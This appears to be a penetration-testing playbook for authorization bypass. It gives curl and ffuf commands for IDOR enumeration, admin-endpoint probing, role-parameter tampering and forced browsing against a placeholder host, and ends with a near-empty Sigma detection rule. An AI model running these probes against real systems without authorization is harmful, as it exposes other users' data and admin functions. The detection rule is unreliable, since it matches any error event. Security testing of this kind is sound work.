<!-- Copyright (c) 2026 defconxt. All rights reserved. -->
<!-- Licensed under AGPL-3.0 — see LICENSE file for details. -->
---
name: performing-authorization-bypass-testing
description: >-
  Test authorization controls for IDOR, forced browsing, horizontal and
  vertical privilege escalation, missing function-level access control,
  and parameter tampering to bypass authorization decisions.
domain: cybersecurity
subdomain: application-security
tags:
  - authorization
  - idor
  - privilege-escalation
  - access-control
  - owasp-a01
version: "1.0"
author: defconxt
license: AGPL-3.0
metadata:
  mitre-attack: ["T1078.004", "T1548"]
  owasp-top10: ["A01"]
  tools: ["burp-suite", "autorize", "curl", "ffuf"]
---

# Performing Authorization Bypass Testing

## Overview

Authorization bypass vulnerabilities allow users to access resources or
perform actions beyond their intended permissions. Testing covers IDOR,
horizontal/vertical privilege escalation, forced browsing, and missing
function-level access controls.

## Prerequisites

- Tools: ["burp-suite", "autorize", "curl", "ffuf"]
- Authorized testing engagement with written scope
- Target application access and credentials

## Workflow

### Step 1: IDOR Testing

```bash
# Test sequential ID access
for id in $(seq 1 100); do
  STATUS=$(curl -s -o /dev/null -w "%{http_code}" \
    -H "Authorization: Bearer $USER_TOKEN" \
    "https://target.com/api/users/$id")
  [ "$STATUS" = "200" ] && echo "Accessible: /api/users/$id"
done

# Test GUID/UUID predictability
curl -H "Authorization: Bearer $USER_A_TOKEN" \
  https://target.com/api/documents/$USER_B_DOC_ID

# Test IDOR in file download
curl -H "Authorization: Bearer $USER_TOKEN" \
  "https://target.com/api/files/download?id=OTHER_USER_FILE_ID"
```

### Step 2: Vertical Privilege Escalation

```bash
# Access admin endpoints with user token
ADMIN_ENDPOINTS=("/api/admin/users" "/api/admin/config" "/api/admin/logs" "/api/admin/settings")
for EP in "${ADMIN_ENDPOINTS[@]}"; do
  STATUS=$(curl -s -o /dev/null -w "%{http_code}" \
    -H "Authorization: Bearer $USER_TOKEN" "https://target.com$EP")
  echo "$EP: $STATUS"
done

# Role parameter tampering
curl -X PUT https://target.com/api/users/me \
  -H "Authorization: Bearer $USER_TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"role":"admin"}'
```

### Step 3: Forced Browsing

```bash
# Discover admin paths
ffuf -u https://target.com/FUZZ -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt \
  -H "Cookie: session=$USER_SESSION" -mc 200,302 -fc 403

# Test direct object access without auth
curl -s https://target.com/admin/dashboard -o /dev/null -w "%{http_code}"
curl -s https://target.com/internal/config -o /dev/null -w "%{http_code}"
```

### Step 4: Burp Autorize Extension

```bash
# Autorize automates authorization testing by replaying requests
# with different user tokens to detect broken access controls.

# Setup: Install Autorize in Burp Suite
# 1. Set low-privilege user cookie in Autorize
# 2. Browse as admin — Autorize replays with low-priv token
# 3. Compare responses to detect missing authorization checks
```

## Detection Opportunities

| Signal | Source | Description |
|--------|--------|-------------|
| IDOR attempts | App logs | User accessing objects not owned by them |
| Privilege escalation | Auth logs | Non-admin accessing admin endpoints |
| Forced browsing | WAF/Access logs | Sequential 403→200 pattern |

```yaml
title: Authorization Bypass Testing Detection
id: 7a7ccb73-9ead-411c-86e1-bb55ca2f250f
status: experimental
description: Detects suspicious activity related to performing authorization bypass testing techniques in application security context
logsource:
  category: application
  product: webserver
detection:
  selection:
    EventType: error
  condition: selection
level: medium
tags:
  - attack.t1078.004
  - attack.t1548
  - attack.initial_access
falsepositives:
  - Application security scanning tools during CI/CD pipeline execution
```

## Verification

- [ ] All relevant attack vectors tested
- [ ] Findings documented with severity and evidence
- [ ] Detection artifacts identified
- [ ] Remediation recommendations provided

## References

- [OWASP Testing Guide](https://owasp.org/www-project-web-security-testing-guide/)
- [MITRE ATT&CK](https://attack.mitre.org/)
